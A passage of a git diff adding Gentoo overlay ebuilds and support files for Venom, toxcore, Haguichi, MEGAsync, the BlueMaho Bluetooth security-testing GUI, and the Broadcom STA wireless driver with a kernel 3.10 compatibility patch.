+RDEPEND="${DEPEND}
+ sys-devel/gettext"
+
+src_prepare() {
+ epatch_user
+}
+
+src_configure() {
+ local mycmakeargs=(
+ $(cmake-utils_use_enable qrcode QR_ENCODE )
+ $(cmake-utils_use_enable libnotify LIBNOTIFY )
+ )
+
+ cmake-utils_src_configure
+}
diff --git a/net-im/venom/metadata.xml b/net-im/venom/metadata.xml
new file mode 100644
index 00000000..43cee7e5
--- /dev/null
+++ b/net-im/venom/metadata.xml
@@ -0,0 +1,12 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+ <maintainer>
+ <email>holgersson@posteo.de</email>
+ <name>holgersson</name>
+ </maintainer>
+ <use>
+ <flag name="libnotify">Enable desktop notification support</flag>
+ <flag name="qrcode">Enable qrencode support for ToxID </flag>
+ </use>
+</pkgmetadata>
diff --git a/net-im/venom/venom-9999.ebuild b/net-im/venom/venom-9999.ebuild
new file mode 100644
index 00000000..6ce26803
--- /dev/null
+++ b/net-im/venom/venom-9999.ebuild
@@ -0,0 +1,46 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=5
+
+inherit cmake-utils git-r3 vala
+
+DESCRIPTION="Vala/Gtk+ graphical user interface for Tox"
+
+HOMEPAGE="http://wiki.tox.im/Venom"
+EGIT_REPO_URI="https://github.com/naxuroqa/Venom.git"
+
+LICENSE="GPL-3+"
+SLOT="0"
+KEYWORDS=""
+IUSE="+libnotify qrcode"
+
+DEPEND="dev-libs/json-glib
+ dev-db/sqlite:3
+ net-libs/tox
+ media-libs/gstreamer
+ >=x11-libs/gtk+-3.4:3
+ $(vala_depend)
+ libnotify? ( x11-libs/libnotify )
+ qrcode? ( >=media-gfx/qrencode-3.3.1 )"
+RDEPEND="${DEPEND}
+ sys-devel/gettext"
+
+src_prepare() {
+ epatch_user
+}
+
+src_configure() {
+ local mycmakeargs=(
+ $(cmake-utils_use_enable qrcode QR_ENCODE )
+ $(cmake-utils_use_enable libnotify LIBNOTIFY )
+ )
+
+ cmake-utils_src_configure
+}
+
+pkg_postinst() {
+ elog "Ebuild tracks master branch of Venom, which currently"
+ elog "does not contain A/V support."
+}
diff --git a/net-libs/tox/files/confd b/net-libs/tox/files/confd
new file mode 100644
index 00000000..e4aac3ad
--- /dev/null
+++ b/net-libs/tox/files/confd
@@ -0,0 +1,7 @@
+# [--ipv4|--ipv6]
+cmdline=""
+
+# open node
+ip=""
+port=""
+key=""
diff --git a/net-libs/tox/files/initd b/net-libs/tox/files/initd
new file mode 100644
index 00000000..728cb6f5
--- /dev/null
+++ b/net-libs/tox/files/initd
@@ -0,0 +1,35 @@
+#!/sbin/runscript
+
+PIDFILE=/run/tox-dht-bootstrap.pid
+LOGDIR=/var/log/tox-dht-bootstrap
+RUNDIR=/var/lib/tox-dht-bootstrap
+
+depend() {
+ need net
+}
+
+start() {
+ ebegin "Starting tox-dht-bootstrap daemon"
+
+ [ -d "${LOGDIR}" ] || mkdir -p "${LOGDIR}"
+ [ -d "${RUNDIR}" ] || mkdir -p "${RUNDIR}"
+ chown -R nobody:nobody "${LOGDIR}" "${RUNDIR}"
+
+ start-stop-daemon --start \
+ --pidfile "${PIDFILE}" --make-pidfile --background \
+ --stdout "${LOGDIR}/stdout" --stderr "${LOGDIR}/stderr" \
+ --chdir "${RUNDIR}" \
+ --user=nobody --group=nobody \
+ --exec /usr/bin/DHT_bootstrap
+
+ eend $?
+}
+
+stop() {
+ ebegin "Stopping tox-dht-bootstrap daemon"
+
+ start-stop-daemon --stop \
+ --pidfile "${PIDFILE}"
+
+ eend $?
+}
diff --git a/net-libs/tox/metadata.xml b/net-libs/tox/metadata.xml
new file mode 100644
index 00000000..e35d0a76
--- /dev/null
+++ b/net-libs/tox/metadata.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+ <maintainer>
+ <email>holgersson@posteo.de</email>
+ <name>holgersson</name>
+ </maintainer>
+ <use>
+ <flag name="av">Adds support for audio and video.</flag>
+ <flag name="logging">Enables logging, useful for debugging.
+ (default log level: DEBUG)</flag>
+ <flag name="log-info">Set log level to INFO (only choose one log-*,
+ needs logging enabled)
+ </flag>
+ <flag name="log-debug">Set log level to DEBUG (only choose one log-*,
+ needs logging enabled)
+ </flag>
+ <flag name="log-warn">Set log level to WARNING (only choose one log-*,
+ needs logging enabled)
+ </flag>
+ <flag name="log-error">Set log level to ERROR (only choose one log-*,
+ needs logging enabled)
+ </flag>
+ <flag name="ntox">Enable the testing nTox client.</flag>
+ <flag name="daemon">Enable the DHT Bootstrap Daemon</flag>
+ </use>
+</pkgmetadata>
diff --git a/net-libs/tox/tox-9999.ebuild b/net-libs/tox/tox-9999.ebuild
new file mode 100644
index 00000000..3b440eeb
--- /dev/null
+++ b/net-libs/tox/tox-9999.ebuild
@@ -0,0 +1,73 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=5
+
+inherit autotools git-2
+
+DESCRIPTION="Encrypted P2P, messenging, and audio/video calling platform"
+HOMEPAGE="https://tox.im"
+SRC_URI=""
+EGIT_REPO_URI="https://github.com/irungentoo/toxcore"
+
+LICENSE="GPL-3"
+SLOT="0"
+KEYWORDS=""
+IUSE="+av daemon logging log-debug log-error log-info log-warn ntox static-libs test"
+
+RDEPEND="
+ >=dev-libs/libsodium-1.0.0
+ daemon? ( dev-libs/libconfig )
+ av? ( media-libs/libvpx
+ media-libs/opus )
+ ntox? ( sys-libs/ncurses )"
+DEPEND="${RDEPEND}
+ virtual/pkgconfig
+ test? ( dev-libs/check )"
+
+pkg_setup() {
+ unset loglevel
+
+ if use log-info || use log-debug || use log-warn || use log-error ; then
+ if use !logging ; then
+ ewarn "Logging disabled, but log level set,"
+ ewarn "it will have no effect."
+ else
+ use log-info && loglevel=" INFO"
+ use log-debug && loglevel="${loglevel} DEBUG"
+ use log-warn && loglevel="${loglevel} WARNING"
+ use log-error && loglevel="${loglevel} ERROR"
+
+ if [[ $(echo "${loglevel}" | sed 's/[A-Z]//g') =~ " " ]] ; then
+ ewarn "You have chosen multiple log levels,"
+ ewarn "but only one can be applied. Picking the"
+ ewarn "last one: ${loglevel##* }"
+ fi
+ fi
+ fi
+ [[ -z ${loglevel} ]] && loglevel=DEBUG
+}
+
+src_prepare() {
+ epatch_user
+ eautoreconf
+}
+
+src_configure() {
+ econf \
+ $(use_enable logging) \
+ $(usex logging "--with-logger-level=${loglevel##* }" "") \
+ $(use_enable av) \
+ $(use_enable test tests) \
+ $(use_enable ntox) \
+ $(use_enable daemon) \
+ $(use_enable static-libs static)
+}
+
+src_install() {
+ default
+ use daemon && { newinitd "${FILESDIR}"/initd tox-dht-daemon
+ newconfd "${FILESDIR}"/confd tox-dht-daemon ; }
+ prune_libtool_files
+}
diff --git a/net-misc/haguichi/Manifest b/net-misc/haguichi/Manifest
new file mode 100644
index 00000000..f145bcc1
--- /dev/null
+++ b/net-misc/haguichi/Manifest
@@ -0,0 +1 @@
+DIST haguichi-1.0.25-clr4.0.tar.gz 290379 SHA256 15e59ffb5cfd1a5405ecdc155e83f59fcda6e174bed2ea6be2b73420e6d7aa1a SHA512 ecd342880c08e87f6b135d982a43c412c4ec634494804c9051ec6f50001a5d45f32ebc19d0ae78ddafd607d53ac2f64d4bbd7e31a73dcaafdf19370c11a6c9f3 WHIRLPOOL c9f9f843f2a5abf9d3c67dfb2aa02d7122016cf8662f4130799d4c19d19b9a7647b2353a7413b1acf8c988a24ce02156ac42dd18a356d3070defc19457e81f72
diff --git a/net-misc/haguichi/haguichi-1.0.25.ebuild b/net-misc/haguichi/haguichi-1.0.25.ebuild
new file mode 100644
index 00000000..d4bc0420
--- /dev/null
+++ b/net-misc/haguichi/haguichi-1.0.25.ebuild
@@ -0,0 +1,46 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=5
+
+inherit eutils multilib toolchain-funcs versionator
+
+MY_MAJORV=$(get_version_component_range 1-2)
+MY_CLRV="4.0"
+
+DESCRIPTION="GTK2 graphical frontend for LogMeIn Hamachi"
+HOMEPAGE="http://haguichi.net"
+SRC_URI="http://launchpad.net/${PN}/${MY_MAJORV}/${PV}/+download/${P}-clr${MY_CLRV}.tar.gz"
+
+LICENSE="LGPL-2"
+SLOT="0"
+KEYWORDS="-* ~amd64 ~x86"
+IUSE="debug"
+
+DEPEND="net-misc/logmein-hamachi
+ =dev-dotnet/gtk-sharp-2*
+ =dev-dotnet/gconf-sharp-2*
+ >=dev-dotnet/notify-sharp-0.4.0_pre20090305
+ >=dev-dotnet/ndesk-dbus-glib-0.4.0"
+RDEPEND="${DEPEND}"
+
+S="${WORKDIR}/"${PN}"-${PV}"
+
+src_configure() {
+ econf \
+ --prefix=/usr/ \
+ $(use_enable debug ) \
+ $(use_enable release )
+}
+
+src_compile() {
+ emake \
+ "CFLAGS=${CFLAGS}" \
+ "LIBDIR=$(get_libdir)" \
+ || die "Make failed"
+}
+
+src_install() {
+ emake DESTDIR="${D}" install || die "Installation failed"
+}
diff --git a/net-misc/megasync/Manifest b/net-misc/megasync/Manifest
new file mode 100644
index 00000000..096cb446
--- /dev/null
+++ b/net-misc/megasync/Manifest
@@ -0,0 +1,2 @@
+DIST megasync_1.0.34_amd64.deb 1442268 SHA256 0bc7e977bf3d5bcc363eac8b6943f7fd24fe83db4470a9f63654567f9320a7ac SHA512 b4605a446bfb1cc3caefbafa3b7a92d57469f0405eedad284988e1acac14d432c97d21b03a97e65fe6b297af5efcb5c8ba4c10df98cd8d67d5fdd2627dca9471 WHIRLPOOL b90f1a83e98ae1f61ae0d072ef9eed801358ed68f8a43c999e7d922f73045af3e7b4793043d8fe2c0c946eb2ee3da56fa148c5e051d6bb978284a84ef6fef4ac
+DIST megasync_1.0.34_i386.deb 1448156 SHA256 b2d94d3e448d2c92ff85912e104837f5517a2372813411511626f56ae3dafad4 SHA512 1a512ba9a46d0ad03ec8564409a87663d8f84b97be463ff9329e1129159b82925959bd334f414992360d336e1e48bee6f4637a5e3f9b929df21f7ba73dd3a527 WHIRLPOOL 0d7cf5177e7bb6ae3a3188514e7c5ebe3bd13450d78927167fd438e13cc0c55a5578b61be47978ba47e0e51f40763ca374bd27f9693ea1711cf400554e5b9722
diff --git a/net-misc/megasync/megasync-1.0.34.ebuild b/net-misc/megasync/megasync-1.0.34.ebuild
new file mode 100644
index 00000000..6a7e9e2f
--- /dev/null
+++ b/net-misc/megasync/megasync-1.0.34.ebuild
@@ -0,0 +1,50 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=5
+
+inherit eutils multilib unpacker
+
+DESCRIPTION="A Qt-based program for syncing your MEGA account in your PC. This is the official app."
+HOMEPAGE="http://mega.co.nz"
+SRC_URI="
+ x86? ( https://mega.co.nz/linux/MEGAsync/xUbuntu_14.04/i386/${PN}_${PV}_i386.deb )
+ amd64? ( https://mega.co.nz/linux/MEGAsync/xUbuntu_14.04/amd64/${PN}_${PV}_amd64.deb )
+ "
+
+LICENSE="MEGA"
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+IUSE=""
+
+DEPEND="dev-qt/qtcore:4"
+RDEPEND="${DEPEND}
+ dev-libs/openssl
+ dev-libs/libgcrypt
+ media-libs/libpng
+ net-dns/c-ares
+ dev-libs/crypto++
+ app-arch/xz-utils"
+
+S="${WORKDIR}"
+
+src_unpack(){
+ unpack ${A}
+ unpack ./data.tar.xz
+ rm -v control.tar.gz data.tar.xz debian-binary
+}
+
+pkg_setup(){
+ elog "This ebuild installs the binary for MEGAsync. If any problems,"
+ elog "please, contact the MEGA team."
+}
+
+src_install(){
+ insinto /
+ doins -r usr
+ fperms +x /usr/bin/megasync
+ LIBCRYPTO=`equery f crypto++ | grep libcrypto++.so.0.0.0`
+ LIBDIR="${LIBCRYPTO%/*}"
+ dosym ${LIBDIR}/libcrypto++.so.0.0.0 ${LIBDIR}/libcrypto++.so.9
+}
diff --git a/net-wireless/bluemaho/Manifest b/net-wireless/bluemaho/Manifest
new file mode 100644
index 00000000..833f54cc
--- /dev/null
+++ b/net-wireless/bluemaho/Manifest
@@ -0,0 +1,4 @@
+AUX bluemaho 50 RMD160 cebb4ff4c66cb943be41657308af2361db0ce411 SHA1 e79152cfde43f31cf7ff2c1c3a08ff359dec0219 SHA256 1623940d95c958f9dcdb0c5dd8e114dc16431baa9a4c0a1ddc8d44c52022a876
+AUX btftp-libxml.patch 1065 RMD160 c2bb428225879824bb9c30e25790821664c0ec5f SHA1 16911c47c073a82d291b787a894ce3db04dfcbb4 SHA256 c8b83e3fad9952c5a0dd47daff487c896df86c3bed635da715af842322f093c5
+DIST BlueMaho?action=AttachFile&do=get&target=bluemaho_v090417.tgz 916884 RMD160 57ed5b2967ef659b8e2a80bb8d3ff3908e27341b SHA1 216db6f836b20b7f70f3a56bec95ab0a607a2af5 SHA256 9b36bcf73a59d7c03a2262287c4aa37fbd308801d6fa4d3cbc86b9d15ad7ff1c
+EBUILD bluemaho-090417-r1.ebuild 928 RMD160 367180083b50d487a04102a89f077ba062dcc1cb SHA1 51d1c616d2952efd9fa5342271b2e37040445035 SHA256 e2c5bb9c86129806338692b44f348af369273c4d7bdd1218dd133cff0b6c60ec
diff --git a/net-wireless/bluemaho/bluemaho-090417-r1.ebuild b/net-wireless/bluemaho/bluemaho-090417-r1.ebuild
new file mode 100644
index 00000000..8e84602e
--- /dev/null
+++ b/net-wireless/bluemaho/bluemaho-090417-r1.ebuild
@@ -0,0 +1,39 @@
+# Copyright 1999-2010 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=2
+
+inherit eutils
+
+MY_P="${PN}_v${PV}"
+
+DESCRIPTION="BlueMaho is GUI-shell (interface) for suite of tools for testing security of bluetooth devices"
+HOMEPAGE="http://wiki.thc.org/BlueMaho"
+SRC_URI="http://wiki.thc.org/BlueMaho?action=AttachFile&do=get&target=${MY_P}.tgz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="x86"
+IUSE=""
+RDEPEND="net-wireless/bluez[test-programs]
+ net-wireless/bt-audit
+ dev-libs/libxml2
+ dev-python/wxpython
+ dev-libs/libusb
+ sys-libs/readline"
+DEPEND="${RDEPEND}"
+S="${WORKDIR}/${MY_P/_v/-}"
+
+src_compile() {
+ epatch "${FILESDIR}"/btftp-libxml.patch
+ sed -e 's/Eterm/xterm/' -i config/default.conf
+ cd config
+ sh build.sh || die "emake failed"
+}
+
+src_install() {
+ dodir /usr/lib/${PN}
+ cp -R "${S}"/* "${D}"/usr/lib/${PN} || die "Copy files failed"
+ dobin "${FILESDIR}/${PN}"
+}
diff --git a/net-wireless/bluemaho/files/bluemaho b/net-wireless/bluemaho/files/bluemaho
new file mode 100644
index 00000000..4089d08b
--- /dev/null
+++ b/net-wireless/bluemaho/files/bluemaho
@@ -0,0 +1,4 @@
+#!/bin/sh
+
+cd /usr/lib/bluemaho/
+./bluemaho.py $@
diff --git a/net-wireless/bluemaho/files/btftp-libxml.patch b/net-wireless/bluemaho/files/btftp-libxml.patch
new file mode 100644
index 00000000..d63add34
--- /dev/null
+++ b/net-wireless/bluemaho/files/btftp-libxml.patch
@@ -0,0 +1,21 @@
+diff -Naur bluemaho-090417.orig/tools/sources/btftp-0.1/Makefile bluemaho-090417/tools/sources/btftp-0.1/Makefile
+--- bluemaho-090417.orig/tools/sources/btftp-0.1/Makefile 2009-04-17 17:37:30.000000000 +0000
++++ bluemaho-090417/tools/sources/btftp-0.1/Makefile 2009-05-12 13:31:50.000000000 +0000
+@@ -1,2 +1,2 @@
+ all: obex.c sdp.c folder.c main.c
+- gcc -lbluetooth -lopenobex -lreadline -lxml2 obex.c sdp.c folder.c main.c -o btftp
++ gcc -I/usr/include/libxml2/ -lbluetooth -lopenobex -lreadline -lxml2 obex.c sdp.c folder.c main.c -o btftp
+diff -Naur bluemaho-090417.orig/tools/sources/btftp-0.1/folder.c bluemaho-090417/tools/sources/btftp-0.1/folder.c
+--- bluemaho-090417.orig/tools/sources/btftp-0.1/folder.c 2009-04-17 17:37:30.000000000 +0000
++++ bluemaho-090417/tools/sources/btftp-0.1/folder.c 2009-05-12 13:31:26.000000000 +0000
+@@ -29,8 +29,8 @@
+ #include <time.h>
+ #include <sys/param.h>
+
+-#include <gnome-xml/xmlmemory.h>
+-#include <gnome-xml/parser.h>
++#include <libxml/xmlmemory.h>
++#include <libxml/parser.h>
+
+ #include "goep.h"
+ #include "ftp.h"
diff --git a/net-wireless/broadcom-sta/Manifest b/net-wireless/broadcom-sta/Manifest
new file mode 100644
index 00000000..2d61f9d6
--- /dev/null
+++ b/net-wireless/broadcom-sta/Manifest
@@ -0,0 +1,2 @@
+DIST bcmwl-kernel-source_6.30.223.30%2Bbdcom-0ubuntu1%7Eppa1_amd64.deb 1779122 SHA256 de6529ae67f339aee185be93e3c12ffa944ef6b4807d176d6fda661de52136ba SHA512 93b17029538ec17be61902f1e5237a300f532dc88fd7475ac202c249a9cec099c5d170b0ebc043e1bda1987f6f925b6a28d4aa80748218f735a3790ded0565cd WHIRLPOOL 47f54a2fc286e58adef1383496fe3e65430ef643d8e7b8830cb87c0558319780f71944296211c62ccccaa4e3a216019fc5a29dd48903240362c656bb79ae55c2
+DIST bcmwl-kernel-source_6.30.223.30%2Bbdcom-0ubuntu1%7Eppa1_i386.deb 1732452 SHA256 d689040ac2ef67b9947f892b52764cd94c2090499747b57d63c2b40c7bc8eabb SHA512 323db5e6c8fc702990d7137bd11d2e8bba7ed073ee8da00125d147872edf90dd051a959198dbdaf92808403cdcfd582f17afb8a6f5e741382d3a0cffd6ce130a WHIRLPOOL db24f078e2639f609021028304e7caf48b9a3737b6fdf4b2522ab74606c6cb0b11a94706978b1fd1acdf66c59e351a4a433cf9e500862931a1e9dce6e5562c01
diff --git a/net-wireless/broadcom-sta/broadcom-sta-6.30.223.30-r1.ebuild b/net-wireless/broadcom-sta/broadcom-sta-6.30.223.30-r1.ebuild
new file mode 100644
index 00000000..89951738
--- /dev/null
+++ b/net-wireless/broadcom-sta/broadcom-sta-6.30.223.30-r1.ebuild
@@ -0,0 +1,82 @@
+# Copyright 1999-2013 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/net-wireless/broadcom-sta/broadcom-sta-6.30.223.30-r1.ebuild,v 1.2 2013/05/12 10:45:38 pinkbyte Exp $
+
+EAPI="5"
+inherit eutils linux-info linux-mod unpacker
+
+DESCRIPTION="Broadcom's IEEE 802.11a/b/g/n hybrid Linux device driver."
+HOMEPAGE="https://launchpad.net/ubuntu/+source/bcmwl http://www.broadcom.com/support/802.11/linux_sta.php"
+BASE_URI="https://launchpad.net/~albertomilone/+archive/broadcom/+files"
+BASE_NAME="bcmwl-kernel-source_${PV}%2Bbdcom-0ubuntu1%7Eppa1_"
+SRC_URI="amd64? ( ${BASE_URI}/${BASE_NAME}amd64.deb )
+ x86? ( ${BASE_URI}/${BASE_NAME}i386.deb )"
+
+LICENSE="Broadcom"
+KEYWORDS="-* ~amd64 ~x86"
+
+RESTRICT="mirror"
+
+DEPEND="virtual/linux-sources"
+RDEPEND=""
+
+#S="${WORKDIR}"
+S="${WORKDIR}/usr/src/bcmwl-${PV}+bdcom"
+
+MODULE_NAMES="wl(net/wireless)"
+MODULESD_WL_ALIASES=("wlan0 wl")
+
+pkg_setup() {
+ # bug #300570
+ # NOTE<lxnay>: module builds correctly anyway with b43 and SSB enabled
+ # make checks non-fatal. The correct fix is blackisting ssb and, perhaps
+ # b43 via udev rules. Moreover, previous fix broke binpkgs support.
+ CONFIG_CHECK="~!B43 ~!SSB"
+ CONFIG_CHECK2="LIB80211 ~!MAC80211 ~LIB80211_CRYPT_TKIP"
+ ERROR_B43="B43: If you insist on building this, you must blacklist it!"
+ ERROR_SSB="SSB: If you insist on building this, you must blacklist it!"
+ ERROR_LIB80211="LIB80211: Please enable it. If you can't find it: enabling the driver for \"Intel PRO/Wireless 2100\" or \"Intel PRO/Wireless 2200BG\" (IPW2100 or IPW2200) should suffice."
+ ERROR_MAC80211="MAC80211: If you insist on building this, you must blacklist it!"
+ ERROR_PREEMPT_RCU="PREEMPT_RCU: Please do not set the Preemption Model to \"Preemptible Kernel\"; choose something else."
+ ERROR_LIB80211_CRYPT_TKIP="LIB80211_CRYPT_TKIP: You will need this for WPA."
+ if kernel_is ge 3 8 8; then
+ CONFIG_CHECK="${CONFIG_CHECK} ${CONFIG_CHECK2} CFG80211 ~!PREEMPT_RCU"
+ elif kernel_is ge 2 6 32; then
+ CONFIG_CHECK="${CONFIG_CHECK} ${CONFIG_CHECK2} CFG80211"
+ elif kernel_is ge 2 6 31; then
+ CONFIG_CHECK="${CONFIG_CHECK} ${CONFIG_CHECK2} WIRELESS_EXT ~!MAC80211"
+ elif kernel_is ge 2 6 29; then
+ CONFIG_CHECK="${CONFIG_CHECK} ${CONFIG_CHECK2} WIRELESS_EXT COMPAT_NET_DEV_OPS"
+ else
+ CONFIG_CHECK="${CONFIG_CHECK} IEEE80211 IEEE80211_CRYPT_TKIP"
+ fi
+
+ linux-mod_pkg_setup
+
+ BUILD_PARAMS="-C ${KV_DIR} M=${S}"
+ BUILD_TARGETS="wl.ko"
+}
+
+src_unpack() {
+ local arch_suffix
+ if use amd64; then
+ arch_suffix="amd64"
+ else
+ arch_suffix="i386"
+ fi
+ unpack_deb "${BASE_NAME}${arch_suffix}.deb"
+}
+
+src_prepare() {
+# Filter the outdated patches here
+ EPATCH_FORCE="yes" EPATCH_EXCLUDE="0002* 0004* 0005*" EPATCH_SOURCE="${S}/patches" EPATCH_SUFFIX=patch epatch
+# Makefile.patch: keep `emake install` working
+# linux-3.9.0.patch: add support for kernel 3.9.0
+ epatch "${FILESDIR}/${P}-makefile.patch" \
+ "${FILESDIR}/${P}-linux-3.9.0.patch" \
+ "${FILESDIR}/${P}-linux-3.10.0.patch"
+ mv "${S}/lib/wlc_hybrid.o_shipped_"* "${S}/lib/wlc_hybrid.o_shipped" \
+ || die "Where is the blob?"
+
+ epatch_user
+}
diff --git a/net-wireless/broadcom-sta/broadcom-sta-6.30.223.30-r2.ebuild b/net-wireless/broadcom-sta/broadcom-sta-6.30.223.30-r2.ebuild
new file mode 100644
index 00000000..89951738
--- /dev/null
+++ b/net-wireless/broadcom-sta/broadcom-sta-6.30.223.30-r2.ebuild
@@ -0,0 +1,82 @@
+# Copyright 1999-2013 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/net-wireless/broadcom-sta/broadcom-sta-6.30.223.30-r1.ebuild,v 1.2 2013/05/12 10:45:38 pinkbyte Exp $
+
+EAPI="5"
+inherit eutils linux-info linux-mod unpacker
+
+DESCRIPTION="Broadcom's IEEE 802.11a/b/g/n hybrid Linux device driver."
+HOMEPAGE="https://launchpad.net/ubuntu/+source/bcmwl http://www.broadcom.com/support/802.11/linux_sta.php"
+BASE_URI="https://launchpad.net/~albertomilone/+archive/broadcom/+files"
+BASE_NAME="bcmwl-kernel-source_${PV}%2Bbdcom-0ubuntu1%7Eppa1_"
+SRC_URI="amd64? ( ${BASE_URI}/${BASE_NAME}amd64.deb )
+ x86? ( ${BASE_URI}/${BASE_NAME}i386.deb )"
+
+LICENSE="Broadcom"
+KEYWORDS="-* ~amd64 ~x86"
+
+RESTRICT="mirror"
+
+DEPEND="virtual/linux-sources"
+RDEPEND=""
+
+#S="${WORKDIR}"
+S="${WORKDIR}/usr/src/bcmwl-${PV}+bdcom"
+
+MODULE_NAMES="wl(net/wireless)"
+MODULESD_WL_ALIASES=("wlan0 wl")
+
+pkg_setup() {
+ # bug #300570
+ # NOTE<lxnay>: module builds correctly anyway with b43 and SSB enabled
+ # make checks non-fatal. The correct fix is blackisting ssb and, perhaps
+ # b43 via udev rules. Moreover, previous fix broke binpkgs support.
+ CONFIG_CHECK="~!B43 ~!SSB"
+ CONFIG_CHECK2="LIB80211 ~!MAC80211 ~LIB80211_CRYPT_TKIP"
+ ERROR_B43="B43: If you insist on building this, you must blacklist it!"
+ ERROR_SSB="SSB: If you insist on building this, you must blacklist it!"
+ ERROR_LIB80211="LIB80211: Please enable it. If you can't find it: enabling the driver for \"Intel PRO/Wireless 2100\" or \"Intel PRO/Wireless 2200BG\" (IPW2100 or IPW2200) should suffice."
+ ERROR_MAC80211="MAC80211: If you insist on building this, you must blacklist it!"
+ ERROR_PREEMPT_RCU="PREEMPT_RCU: Please do not set the Preemption Model to \"Preemptible Kernel\"; choose something else."
+ ERROR_LIB80211_CRYPT_TKIP="LIB80211_CRYPT_TKIP: You will need this for WPA."
+ if kernel_is ge 3 8 8; then
+ CONFIG_CHECK="${CONFIG_CHECK} ${CONFIG_CHECK2} CFG80211 ~!PREEMPT_RCU"
+ elif kernel_is ge 2 6 32; then
+ CONFIG_CHECK="${CONFIG_CHECK} ${CONFIG_CHECK2} CFG80211"
+ elif kernel_is ge 2 6 31; then
+ CONFIG_CHECK="${CONFIG_CHECK} ${CONFIG_CHECK2} WIRELESS_EXT ~!MAC80211"
+ elif kernel_is ge 2 6 29; then
+ CONFIG_CHECK="${CONFIG_CHECK} ${CONFIG_CHECK2} WIRELESS_EXT COMPAT_NET_DEV_OPS"
+ else
+ CONFIG_CHECK="${CONFIG_CHECK} IEEE80211 IEEE80211_CRYPT_TKIP"
+ fi
+
+ linux-mod_pkg_setup
+
+ BUILD_PARAMS="-C ${KV_DIR} M=${S}"
+ BUILD_TARGETS="wl.ko"
+}
+
+src_unpack() {
+ local arch_suffix
+ if use amd64; then
+ arch_suffix="amd64"
+ else
+ arch_suffix="i386"
+ fi
+ unpack_deb "${BASE_NAME}${arch_suffix}.deb"
+}
+
+src_prepare() {
+# Filter the outdated patches here
+ EPATCH_FORCE="yes" EPATCH_EXCLUDE="0002* 0004* 0005*" EPATCH_SOURCE="${S}/patches" EPATCH_SUFFIX=patch epatch
+# Makefile.patch: keep `emake install` working
+# linux-3.9.0.patch: add support for kernel 3.9.0
+ epatch "${FILESDIR}/${P}-makefile.patch" \
+ "${FILESDIR}/${P}-linux-3.9.0.patch" \
+ "${FILESDIR}/${P}-linux-3.10.0.patch"
+ mv "${S}/lib/wlc_hybrid.o_shipped_"* "${S}/lib/wlc_hybrid.o_shipped" \
+ || die "Where is the blob?"
+
+ epatch_user
+}
diff --git a/net-wireless/broadcom-sta/files/broadcom-sta-6.30.223.30-linux-3.10.0.patch b/net-wireless/broadcom-sta/files/broadcom-sta-6.30.223.30-linux-3.10.0.patch
new file mode 100644
index 00000000..c575f289
--- /dev/null
+++ b/net-wireless/broadcom-sta/files/broadcom-sta-6.30.223.30-linux-3.10.0.patch
@@ -0,0 +1,102 @@
+diff -Naur bcmwl-6.30.223.30+bdcom.orig/src/src/wl/sys/wl_linux.c bcmwl-6.30.223.30+bdcom/src/src/wl/sys/wl_linux.c
+--- bcmwl-6.30.223.30+bdcom.orig/src/src/wl/sys/wl_linux.c 2013-04-23 12:31:31.011588881 +0200
++++ bcmwl-6.30.223.30+bdcom/src/src/wl/sys/wl_linux.c 2013-05-20 18:27:18.830187333 +0200
+@@ -3229,7 +3229,12 @@
+ wl_tkip_printstats(wl_info_t *wl, bool group_key)
+ {
+ #if LINUX_VERSION_CODE >= KERNEL_VERSION(2, 6, 14)
++#if LINUX_VERSION_CODE >= KERNEL_VERSION(3, 10, 0)
++ struct seq_file sfile;
++ struct seq_file *debug_buf = &sfile;
++#else
+ char debug_buf[512];
++#endif
+ int idx;
+ if (wl->tkipmodops) {
+ if (group_key) {
+@@ -3242,7 +3247,11 @@
+ wl->tkipmodops->print_stats(debug_buf, wl->tkip_ucast_data);
+ else
+ return;
++#if LINUX_VERSION_CODE >= KERNEL_VERSION(3, 10, 0)
++ printk("%s: TKIP stats from module: %s\n", debug_buf->buf, group_key?"Bcast":"Ucast");
++#else
+ printk("%s: TKIP stats from module: %s\n", debug_buf, group_key?"Bcast":"Ucast");
++#endif
+ }
+ #endif
+ }
+@@ -3401,17 +3410,24 @@
+ return 0;
+ }
+
++#if LINUX_VERSION_CODE < KERNEL_VERSION(3, 10, 0)
+ static int
+ wl_proc_read(char *buffer, char **start, off_t offset, int length, int *eof, void *data)
++#else
++static ssize_t
++wl_proc_read (struct file *filp, char __user *buffer, size_t length, loff_t *data)
++#endif
+ {
+ wl_info_t * wl = (wl_info_t *)data;
+ int bcmerror, to_user;
+ int len;
+
++#if LINUX_VERSION_CODE < KERNEL_VERSION(3, 10, 0)
+ if (offset > 0) {
+ *eof = 1;
+ return 0;
+ }
++#endif
+
+ if (!length) {
+ WL_ERROR(("%s: Not enough return buf space\n", __FUNCTION__));
+@@ -3424,8 +3440,13 @@
+ return len;
+ }
+
++#if LINUX_VERSION_CODE < KERNEL_VERSION(3, 10, 0)
+ static int
+ wl_proc_write(struct file *filp, const char *buff, unsigned long length, void *data)
++#else
++static ssize_t
++wl_proc_write (struct file *filp, const char __user *buff, size_t length, loff_t *data)
++#endif
+ {
+ wl_info_t * wl = (wl_info_t *)data;
+ int from_user = 0;
+@@ -3455,19 +3476,34 @@
+ return length;
+ }
+
++#if LINUX_VERSION_CODE >= KERNEL_VERSION(3, 10, 0)
++static const struct file_operations wl_fops = {
++ .owner = THIS_MODULE,
++ .read = wl_proc_read,
